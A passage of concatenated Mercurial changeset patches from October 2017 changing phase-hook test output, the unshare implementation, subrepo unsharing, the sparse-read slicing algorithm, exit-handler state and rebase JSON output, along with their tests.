-  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  0 -> 1
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  public -> draft
   $ hg log -G --template "{rev} {phase} {desc}\n"
   @    7 secret merge B' and E
   |\
@@ -556,8 +556,8 @@
   $ hg phase --draft --force 1::4
   test-debug-phase: move rev 1: 0 -> 1
   test-debug-phase: move rev 4: 2 -> 1
-  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  0 -> 1
-  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  2 -> 1
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  public -> draft
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  secret -> draft
   $ hg log -G --template "{rev} {phase} {desc}\n"
   @    7 secret merge B' and E
   |\
@@ -584,15 +584,15 @@
   test-debug-phase: move rev 4: 1 -> 0
   test-debug-phase: move rev 6: 1 -> 0
   test-debug-phase: move rev 7: 2 -> 0
-  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  1 -> 0
-  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  1 -> 0
-  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  1 -> 0
-  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  1 -> 0
-  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:  1 -> 0
-  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  2 -> 0
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  draft -> public
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  draft -> public
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  draft -> public
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  draft -> public
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:  draft -> public
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  secret -> public
   $ hg phase --draft '5 or 7'
   test-debug-phase: move rev 5: 2 -> 1
-  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:  2 -> 1
+  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:  secret -> draft
   cannot move 1 changesets to a higher phase, use --force
   phase changed for 1 changesets
   [1]
@@ -652,13 +652,13 @@
   test-debug-phase: new rev 4:  x -> 0
   test-debug-phase: new rev 5:  x -> 0
   test-debug-phase: new rev 6:  x -> 0
-  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> 0
-  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> 0
-  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> 0
-  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> 0
-  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:   -> 0
-  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> 0
-  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:   -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> public
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> public
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> public
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> public
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:   -> public
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> public
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:   -> public
   updating to branch default
   6 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd clonewithobs
@@ -740,10 +740,10 @@
   test-debug-phase: move rev 4: 0 -> 2
   test-debug-phase: move rev 5: 1 -> 2
   test-debug-phase: move rev 7: 0 -> 2
-  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  0 -> 2
-  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  0 -> 2
-  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:  1 -> 2
-  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  0 -> 2
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  public -> secret
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  public -> secret
+  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:  draft -> secret
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  public -> secret
   $ hg log -G -T phases
   @    changeset:   7:17a481b3bccb
   |\   tag:         tip
@@ -796,7 +796,7 @@
 
   $ cat >> .hg/hgrc << EOF
   > [hooks]
-  > pretxnclose-phase.nopublish_D = (echo \$HG_NODE| grep -v b3325c91a4d9>/dev/null) || [ 0 -lt \$HG_PHASE ]
+  > pretxnclose-phase.nopublish_D = (echo \$HG_NODE| grep -v b3325c91a4d9>/dev/null) || [ 'public' != \$HG_PHASE ]
   > EOF
 
 Try various actions. only the draft move should succeed
@@ -815,9 +815,9 @@
   test-debug-phase: move rev 3: 2 -> 1
   test-debug-phase: move rev 4: 2 -> 1
   test-debug-phase: move rev 7: 2 -> 1
-  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  2 -> 1
-  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  2 -> 1
-  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  2 -> 1
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  secret -> draft
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  secret -> draft
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  secret -> draft
   $ hg phase --public 17a481b3bccb
   transaction abort!
   rollback completed
diff --git a/tests/test-push-http.t b/tests/test-push-http.t
--- a/tests/test-push-http.t
+++ b/tests/test-push-http.t
@@ -70,8 +70,8 @@
   remote: adding manifests
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
-  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  1 -> 0
-  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> 0
+  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  draft -> public
+  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> public
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
   % serve errors
   $ hg rollback
@@ -88,8 +88,8 @@
   remote: adding manifests
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
-  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  1 -> 0
-  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> 0
+  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  draft -> public
+  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> public
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
   % serve errors
   $ hg rollback
@@ -106,8 +106,8 @@
   remote: adding manifests
   remote: adding file changes
   remote: added 1 changesets with 1 changes to 1 files
-  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  1 -> 0
-  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> 0
+  remote: phase-move: cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b:  draft -> public
+  remote: phase-move: ba677d0156c1196c1a699fa53f390dcfc3ce3872:   -> public
   remote: changegroup hook: HG_BUNDLE2=1 HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_NODE_LAST=ba677d0156c1196c1a699fa53f390dcfc3ce3872 HG_SOURCE=serve HG_TXNID=TXN:$ID$ HG_URL=remote:http:$LOCALIP: (glob)
   % serve errors
   $ hg rollback
# HG changeset patch
# User Denis Laxalde <denis@laxalde.org>
# Date 1508264743 -7200
#      Tue Oct 17 20:25:43 2017 +0200
# Node ID eb24f1d1b50be7898dbb1a571ed9666021ae6a6d
# Parent  eb1b964b354bd90c45097d5b6310767ce61ab2a5
show: use labelcset() template alias for work (and stack) views

By reusing labelcset() template alias from map-cmdline.default we can now
display obsolescence information in `hg show work/stack`.

diff --git a/mercurial/templates/map-cmdline.show b/mercurial/templates/map-cmdline.show
--- a/mercurial/templates/map-cmdline.show
+++ b/mercurial/templates/map-cmdline.show
@@ -1,8 +1,8 @@
 # TODO there are a few deficiencies in this file:
 # * The "namespace" of the labels needs to be worked out. We currently
 #   piggyback on existing values so color works.
-# * Obsolescence isn't considered for node labels. See _cset_labels in
-#   map-cmdline.default.
+
+%include map-cmdline.default
 
 [templates]
 showbookmarks = '{if(active, "*", " ")} {pad(bookmark, longestbookmarklen + 4)}{shortest(node, nodelen)}\n'
@@ -10,7 +10,7 @@
 showwork = '{cset_shortnode}{namespaces % cset_namespace} {cset_shortdesc}'
 showstack = '{showwork}'
 
-cset_shortnode = '{label("log.changeset changeset.{phase}", shortest(node, nodelen))}'
+cset_shortnode = '{labelcset(shortest(node, nodelen))}'
 
 # Treat branch and tags specially so we don't display "default" or "tip"
 cset_namespace = '{ifeq(namespace, "branches", names_branches, ifeq(namespace, "tags", names_tags, names_others))}'
diff --git a/tests/test-show-work.t b/tests/test-show-work.t
--- a/tests/test-show-work.t
+++ b/tests/test-show-work.t
@@ -234,6 +234,20 @@
   o  6a75 (r1) commit 2
   o  97fc (r0) commit 1
 
+Obsolescence information appears in labels.
+
+  $ cat >> .hg/hgrc << EOF
+  > [experimental]
+  > evolution=createmarkers
+  > EOF
+  $ hg debugobsolete `hg log -r 'desc("commit 2")' -T "{node}"`
+  obsoleted 1 changesets
+  $ hg show work --color=debug
+  @  [log.changeset changeset.draft changeset.unstable instability.orphan|32f3] [log.description|commit 3]
+  x  [log.changeset changeset.draft changeset.obsolete|6a75] [log.description|commit 2]
+  |
+  ~
+
   $ cd ..
 
 Prefix collision on hashes increases shortest node length
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1508291336 14400
#      Tue Oct 17 21:48:56 2017 -0400
# Node ID 9f7ecc5bbc28e1262a8afadad8b5d78bf134a302
# Parent  eb24f1d1b50be7898dbb1a571ed9666021ae6a6d
share: move the implementation of 'unshare' to the 'hg' module

This will be used to setup unsharing subrepos.  Usually cmdutil is used for
this purpose.  But the implementation needs hg.copystore(), and the hg module
already imports cmdutil.

diff --git a/hgext/share.py b/hgext/share.py
--- a/hgext/share.py
+++ b/hgext/share.py
@@ -114,28 +114,7 @@
     if not repo.shared():
         raise error.Abort(_("this is not a shared repo"))
 
-    destlock = lock = None
-    lock = repo.lock()
-    try:
-        # we use locks here because if we race with commit, we
-        # can end up with extra data in the cloned revlogs that's
-        # not pointed to by changesets, thus causing verify to
-        # fail
-
-        destlock = hg.copystore(ui, repo, repo.path)
-
-        sharefile = repo.vfs.join('sharedpath')
-        util.rename(sharefile, sharefile + '.old')
-
-        repo.requirements.discard('shared')
-        repo.requirements.discard('relshared')
-        repo._writerequirements()
-    finally:
-        destlock and destlock.release()
-        lock and lock.release()
-
-    # update store, spath, svfs and sjoin of repo
-    repo.unfiltered().__init__(repo.baseui, repo.root)
+    hg.unshare(ui, repo)
 
 # Wrap clone command to pass auto share options.
 def clone(orig, ui, source, *args, **opts):
diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -257,6 +257,35 @@
     _postshareupdate(r, update, checkout=checkout)
     return r
 
+def unshare(ui, repo):
+    """convert a shared repository to a normal one
+
+    Copy the store data to the repo and remove the sharedpath data.
+    """
+
+    destlock = lock = None
+    lock = repo.lock()
+    try:
+        # we use locks here because if we race with commit, we
+        # can end up with extra data in the cloned revlogs that's
+        # not pointed to by changesets, thus causing verify to
+        # fail
+
+        destlock = copystore(ui, repo, repo.path)
+
+        sharefile = repo.vfs.join('sharedpath')
+        util.rename(sharefile, sharefile + '.old')
+
+        repo.requirements.discard('shared')
+        repo.requirements.discard('relshared')
+        repo._writerequirements()
+    finally:
+        destlock and destlock.release()
+        lock and lock.release()
+
+    # update store, spath, svfs and sjoin of repo
+    repo.unfiltered().__init__(repo.baseui, repo.root)
+
 def postshare(sourcerepo, destrepo, bookmarks=True, defaultpath=None):
     """Called after a new shared repo is created.
 
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1508295333 14400
#      Tue Oct 17 22:55:33 2017 -0400
# Node ID 7d51a7792f52c392a7f6887d43198930c66c88be
# Parent  9f7ecc5bbc28e1262a8afadad8b5d78bf134a302
subrepo: implement 'unshare' for Mercurial subrepos

I think there's a slight hole here in that a subrepo could be shared, removed
from .hgsub, and then it's not part of context.substate (so not iterated over).
But the push command has the same hole IIRC, and I think removing a subrepo is
an edge case.

The import hack is a copy/paste of subrepo.subrepo().

diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -286,6 +286,13 @@
     # update store, spath, svfs and sjoin of repo
     repo.unfiltered().__init__(repo.baseui, repo.root)
 
+    # TODO: figure out how to access subrepos that exist, but were previously
+    #       removed from .hgsub
+    c = repo['.']
+    subs = c.substate
+    for s in sorted(subs):
+        c.sub(s).unshare()
+
 def postshare(sourcerepo, destrepo, bookmarks=True, defaultpath=None):
     """Called after a new shared repo is created.
 
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -621,6 +621,11 @@
     def shortid(self, revid):
         return revid
 
+    def unshare(self):
+        '''
+        convert this repository from shared to normal storage.
+        '''
+
     def verify(self):
         '''verify the integrity of the repository.  Return 0 on success or
         warning, 1 on any error.
@@ -1083,6 +1088,24 @@
     def shortid(self, revid):
         return revid[:12]
 
+    @annotatesubrepoerror
+    def unshare(self):
+        # subrepo inherently violates our import layering rules
+        # because it wants to make repo objects from deep inside the stack
+        # so we manually delay the circular imports to not break
+        # scripts that don't use our demand-loading
+        global hg
+        from . import hg as h
+        hg = h
+
+        # Nothing prevents a user from sharing in a repo, and then making that a
+        # subrepo.  Alternately, the previous unshare attempt may have failed
+        # part way through.  So recurse whether or not this layer is shared.
+        if self._repo.shared():
+            self.ui.status(_("unsharing subrepo '%s'\n") % self._relpath)
+
+        hg.unshare(self.ui, self._repo)
+
     def verify(self):
         try:
             rev = self._state[1]
diff --git a/tests/test-archive.t b/tests/test-archive.t
--- a/tests/test-archive.t
+++ b/tests/test-archive.t
@@ -51,6 +51,24 @@
   $ hg -R clone1 update -C tip
   cloning subrepo subrepo from $TESTTMP/test/subrepo
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ find share2 | egrep 'sharedpath|00.+\.i' | sort
+  share2/.hg/sharedpath
+  share2/subrepo/.hg/sharedpath
+  $ hg -R share2 unshare
+  unsharing subrepo 'subrepo'
+  $ find share2 | egrep 'sharedpath|00.+\.i' | sort
+  share2/.hg/00changelog.i
+  share2/.hg/sharedpath.old
+  share2/.hg/store/00changelog.i
+  share2/.hg/store/00manifest.i
+  share2/subrepo/.hg/00changelog.i
+  share2/subrepo/.hg/sharedpath.old
+  share2/subrepo/.hg/store/00changelog.i
+  share2/subrepo/.hg/store/00manifest.i
+  $ hg -R share2/subrepo log -r tip -T compact
+  1[tip]   559dcc9bfa65   1970-01-01 00:00 +0000   test
+    subrepo mod
+  
   $ rm -rf clone1
 
   $ hg clone -qr 1 test clone1
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508323980 -7200
#      Wed Oct 18 12:53:00 2017 +0200
# Node ID 9e18ab7f7240d768e708ba10b51e7df5864e88b8
# Parent  7d51a7792f52c392a7f6887d43198930c66c88be
sparse-read: move from a recursive-based approach to a heap-based one

The previous recursive approach was trying to optimise each read slice to have
a good density. It had the tendency to over-optimize smaller slices while
leaving larger hole in others.

The new approach focuses on improving the combined density of all the reads,
instead of the individual slices. It slices at the largest gaps first, as they
reduce the total amount of read data the most efficiently.

Another benefit of this approach is that we iterate over the delta chain only
once, reducing the overhead of slicing long delta chains.

On the repository we use for tests, the new approach shows similar or faster
performance than the current default linear full read.

The repository contains about 450,000 revisions with many concurrent
topological branches. Tests have been run on two versions of the repository:
one built with the current delta constraint, and the other with an unlimited
delta span (using 'experimental.maxdeltachainspan=0')

Below are timings for building 1% of all the revision in the manifest log using
'hg perfrevlogrevisions -m'. Times are given in seconds. They include the new
couple of follow-up changeset in this series.

delta-span  standard    unlimited
linear-read     922s         632s
sparse-read     814s         566s

diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -17,6 +17,7 @@
 import collections
 import errno
 import hashlib
+import heapq
 import os
 import struct
 import zlib
@@ -170,49 +171,59 @@
     start = revlog.start
     length = revlog.length
 
-    chunkqueue = collections.deque()
-    chunkqueue.append((revs, 0))
+    if len(revs) <= 1:
+        yield revs
+        return
 
-    while chunkqueue:
-        revs, depth = chunkqueue.popleft()
+    startbyte = start(revs[0])
+    endbyte = start(revs[-1]) + length(revs[-1])
+    readdata = deltachainspan = endbyte - startbyte
+
+    chainpayload = sum(length(r) for r in revs)
 
-        startbyte = start(revs[0])
-        endbyte = start(revs[-1]) + length(revs[-1])
-        deltachainspan = endbyte - startbyte
+    if deltachainspan:
+        density = chainpayload / float(deltachainspan)
+    else:
+        density = 1.0
 
-        if deltachainspan <= revlog._srminblocksize or len(revs) <= 1:
-            yield revs
-            continue
+    # Store the gaps in a heap to have them sorted by decreasing size
+    gapsheap = []
+    heapq.heapify(gapsheap)
+    prevend = None
+    for i, rev in enumerate(revs):
+        revstart = start(rev)
+        revlen = length(rev)
 
-        # Find where is the largest hole (this is where we would split) and
-        # sum up the lengths of useful data to compute the density of the span
-        textlen = 0
-        prevend = None
-        largesthole = 0
-        idxlargesthole = -1
-        for i, rev in enumerate(revs):
-            revstart = start(rev)
-            revlen = length(rev)
+        if prevend is not None:
+            gapsize = revstart - prevend
+            if gapsize:
+                heapq.heappush(gapsheap, (-gapsize, i))
+
+        prevend = revstart + revlen
+
+    # Collect the indices of the largest holes until the density is acceptable
+    indicesheap = []
+    heapq.heapify(indicesheap)
+    while gapsheap and density < revlog._srdensitythreshold:
+        oppgapsize, gapidx = heapq.heappop(gapsheap)
+
+        heapq.heappush(indicesheap, gapidx)
 
-            if prevend is not None:
-                hole = revstart - prevend
-                if hole > largesthole:
-                    largesthole = hole
-                    idxlargesthole = i
-
-            textlen += revlen
-            prevend = revstart + revlen
+        # the gap sizes are stored as negatives to be sorted decreasingly
+        # by the heap
+        readdata -= (-oppgapsize)
+        if readdata > 0:
+            density = chainpayload / float(readdata)
+        else:
+            density = 1.0
 
-        density = textlen / float(deltachainspan) if deltachainspan > 0 else 1.0
-
-        if density > revlog._srdensitythreshold:
-            yield revs
-            continue
-
-        # Add the left and right parts so that they will be sliced
-        # recursively too
-        chunkqueue.append((revs[:idxlargesthole], depth + 1))
-        chunkqueue.append((revs[idxlargesthole:], depth + 1))
+    # Cut the revs at collected indices
+    previdx = 0
+    while indicesheap:
+        idx = heapq.heappop(indicesheap)
+        yield revs[previdx:idx]
+        previdx = idx
+    yield revs[previdx:]
 
 # index v0:
 #  4 bytes: offset
# HG changeset patch
# User Paul Morelle <paul.morelle@octobus.net>
# Date 1508310468 -7200
#      Wed Oct 18 09:07:48 2017 +0200
# Node ID 8c9b08a0c48c686633e6a1bd3418d718bf14bd73
# Parent  9e18ab7f7240d768e708ba10b51e7df5864e88b8
sparse-read: skip gaps too small to be worth splitting

Splitting at too small gaps might not be worthwhile. With this changeset,
we stop considering splitting on too small gaps. The threshold is configurable.
We arbitrarily pick 256K as a default value because it seems "okay".
Further testing on various repositories and setups will be needed to tune it.

The option name is 'experimental.sparse-read.min-gap-size`, and replaces
`experimental.sparse-read.min-block-size` which is not used any more.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -444,7 +444,7 @@
 coreconfigitem('experimental', 'sparse-read.density-threshold',
     default=0.25,
 )
-coreconfigitem('experimental', 'sparse-read.min-block-size',
+coreconfigitem('experimental', 'sparse-read.min-gap-size',
     default='256K',
 )
 coreconfigitem('experimental', 'treemanifest',
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -611,11 +611,11 @@
         withsparseread = self.ui.configbool('experimental', 'sparse-read')
         srdensitythres = float(self.ui.config('experimental',
                                               'sparse-read.density-threshold'))
-        srminblocksize = self.ui.configbytes('experimental',
-                                             'sparse-read.min-block-size')
+        srmingapsize = self.ui.configbytes('experimental',
+                                           'sparse-read.min-gap-size')
         self.svfs.options['with-sparse-read'] = withsparseread
         self.svfs.options['sparse-read-density-threshold'] = srdensitythres
-        self.svfs.options['sparse-read-min-block-size'] = srminblocksize
+        self.svfs.options['sparse-read-min-gap-size'] = srmingapsize
 
         for r in self.requirements:
             if r.startswith('exp-compression-'):
diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -196,7 +196,8 @@
 
         if prevend is not None:
             gapsize = revstart - prevend
-            if gapsize:
+            # only consider holes that are large enough
+            if gapsize > revlog._srmingapsize:
                 heapq.heappush(gapsheap, (-gapsize, i))
 
         prevend = revstart + revlen
@@ -371,7 +372,7 @@
         self._maxdeltachainspan = -1
         self._withsparseread = False
         self._srdensitythreshold = 0.25
-        self._srminblocksize = 262144
+        self._srmingapsize = 262144
 
         mmapindexthreshold = None
         v = REVLOG_DEFAULT_VERSION
@@ -401,8 +402,8 @@
             self._withsparseread = bool(opts.get('with-sparse-read', False))
             if 'sparse-read-density-threshold' in opts:
                 self._srdensitythreshold = opts['sparse-read-density-threshold']
-            if 'sparse-read-min-block-size' in opts:
-                self._srminblocksize = opts['sparse-read-min-block-size']
+            if 'sparse-read-min-gap-size' in opts:
+                self._srmingapsize = opts['sparse-read-min-gap-size']
 
         if self._chunkcachesize <= 0:
             raise RevlogError(_('revlog chunk cache size %r is not greater '
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1508271625 25200
#      Tue Oct 17 13:20:25 2017 -0700
# Node ID e9f320a40b44fd324ec38d8c6cd64ed76ebecf9c
# Parent  8c9b08a0c48c686633e6a1bd3418d718bf14bd73
ui: move request exit handlers to global state

Since the ui objects can be created with the 'load' class method, it
is possible to lose the exit handlers information from the old ui instance. For
example, running 'test-bad-extension.t' leads to this situation where chg
creates a new ui instance which does not copy the exit handlers from the
earlier ui instance. For exit handlers, which are special cases anyways, it
probably makes sense to have a global state of the handlers. This would ensure
that the exit handlers registered once are definitely executed at the end of
the request.

Test Plan:
Ran all the tests without '--chg' option. This also fixes the
'test-bad-extension.t' with the '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D1166

diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -183,6 +183,9 @@
 # retrieving configuration value.
 _unset = object()
 
+# _reqexithandlers: callbacks run at the end of a request
+_reqexithandlers = []
+
 class ui(object):
     def __init__(self, src=None):
         """Create a fresh new ui object if no src given
@@ -193,8 +196,6 @@
         """
         # _buffers: used for temporary capture of output
         self._buffers = []
-        # _exithandlers: callbacks run at the end of a request
-        self._exithandlers = []
         # 3-tuple describing how each buffer in the stack behaves.
         # Values are (capture stderr, capture subprocesses, apply labels).
         self._bufferstates = []
@@ -220,7 +221,6 @@
         self._styles = {}
 
         if src:
-            self._exithandlers = src._exithandlers
             self.fout = src.fout
             self.ferr = src.ferr
             self.fin = src.fin
@@ -1098,6 +1098,10 @@
 
         return True
 
+    @property
+    def _exithandlers(self):
+        return _reqexithandlers
+
     def atexit(self, func, *args, **kwargs):
         '''register a function to run after dispatching a request
 
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1508281306 -19800
#      Wed Oct 18 04:31:46 2017 +0530
# Node ID c858afe9c59ba79e473b6749eab82ca4a0702980
# Parent  e9f320a40b44fd324ec38d8c6cd64ed76ebecf9c
rebase: add support to output nodechanges

This patch adds support to rebase to show the changes in node once the rebase is
complete. This will be extremely helpful for automation purposes and editors
such as Nuclide.

The output is a dictionary of predecessor hash as key and a list of successors'
hashes. The successors one is a list as there can be many successors for a single
predecessor in case of split and it will good to have a generic output format.

This patch adds tests for the same. A new file is created for the patch as
existing files related to rebase has their own purpose and there will be more
formatter support coming for rebase in next cycle.

Thanks to Jun for suggesting to use fm.data().

Differential Revision: https://phab.mercurial-scm.org/D1173

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -21,6 +21,7 @@
 
 from mercurial.i18n import _
 from mercurial.node import (
+    hex,
     nullid,
     nullrev,
     short,
@@ -501,6 +502,8 @@
 
     def _finishrebase(self):
         repo, ui, opts = self.repo, self.ui, self.opts
+        fm = ui.formatter('rebase', opts)
+        fm.startitem()
         if self.collapsef and not self.keepopen:
             p1, p2, _base = defineparents(repo, min(self.state), self.destmap,
                                           self.state, self.skipped,
@@ -551,7 +554,7 @@
             if self.collapsef:
                 collapsedas = newnode
         clearrebased(ui, repo, self.destmap, self.state, self.skipped,
-                     collapsedas, self.keepf)
+                     collapsedas, self.keepf, fm=fm)
 
         clearstatus(repo)
         clearcollapsemsg(repo)
@@ -561,6 +564,7 @@
         if self.skipped:
             skippedlen = len(self.skipped)
             ui.note(_("%d revisions have been skipped\n") % skippedlen)
+        fm.end()
 
         if (self.activebookmark and self.activebookmark in repo._bookmarks and
             repo['.'].node() == repo._bookmarks[self.activebookmark]):
@@ -1517,7 +1521,7 @@
     return originalwd, destmap, state
 
 def clearrebased(ui, repo, destmap, state, skipped, collapsedas=None,
-                 keepf=False):
+                 keepf=False, fm=None):
     """dispose of rebased revision at the end of the rebase
 
     If `collapsedas` is not None, the rebase was a collapse whose result if the
@@ -1541,6 +1545,10 @@
                     succs = (newnode,)
                 replacements[oldnode] = succs
     scmutil.cleanupnodes(repo, replacements, 'rebase', moves)
+    if fm:
+        nodechanges = {hex(oldn): [hex(n) for n in newn]
+                       for oldn, newn in replacements.iteritems()}
+        fm.data(nodechanges=nodechanges)
 
 def pullrebase(orig, ui, repo, *args, **opts):
     'Call rebase after pull if the latter has been invoked with --rebase'
diff --git a/tests/test-rebase-templates.t b/tests/test-rebase-templates.t
new file mode 100644
--- /dev/null
+++ b/tests/test-rebase-templates.t
@@ -0,0 +1,44 @@
+Testing templating for rebase command
+
+Setup
+
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > rebase=
+  > [experimental]
+  > evolution=createmarkers
+  > EOF
+
+  $ hg init repo
+  $ cd repo
+  $ for ch in a b c d; do echo foo > $ch; hg commit -Aqm "Added "$ch; done
+
+  $ hg log -G -T "{rev}:{node|short} {desc}"
+  @  3:62615734edd5 Added d
+  |
+  o  2:28ad74487de9 Added c
+  |
+  o  1:29becc82797a Added b
+  |
+  o  0:18d04c59bb5d Added a
+  
+Getting the JSON output for nodechanges
+
+  $ hg rebase -s 2 -d 0 -q -Tjson
+  [
+   {
+    "nodechanges": {"28ad74487de9599d00d81085be739c61fc340652": ["849767420fd5519cf0026232411a943ed03cc9fb"], "62615734edd52f06b6fb9c2beb429e4fe30d57b8": ["df21b32134ba85d86bca590cbe9b8b7cbc346c53"]}
+   }
+  ]
+
+  $ hg log -G -T "{rev}:{node|short} {desc}"
+  @  5:df21b32134ba Added d
+  |
+  o  4:849767420fd5 Added c
+  |
+  | o  1:29becc82797a Added b
+  |/
+  o  0:18d04c59bb5d Added a
+  
+  $ hg rebase -s 1 -d 5 -q -T "{nodechanges|json}"
+  {"29becc82797a4bc11ec8880b58eaecd2ab3e7760": ["d9d6773efc831c274eace04bc13e8e6412517139"]} (no-eol)
# HG changeset patch
# User Ryan McElroy <rmcelroy@fb.com>
# Date 1507297723 25200
#      Fri Oct 06 06:48:43 2017 -0700
# Node ID 05535d0dea68900cb966b4d47e48bffba40acb55
# Parent  c858afe9c59ba79e473b6749eab82ca4a0702980
merge: additional test cases to show merge-halting behavior

In the previous patches, we allowed the user to specify that
a merge process should be halted when a filemerge fails.

This patch adds tests that show additional places this logic
can be utilized -- via the options to do additional post-filemerge
checks to determine if a file merge was successful.

Differential Revision: https://phab.mercurial-scm.org/D952

diff --git a/tests/test-merge-halt.t b/tests/test-merge-halt.t
--- a/tests/test-merge-halt.t
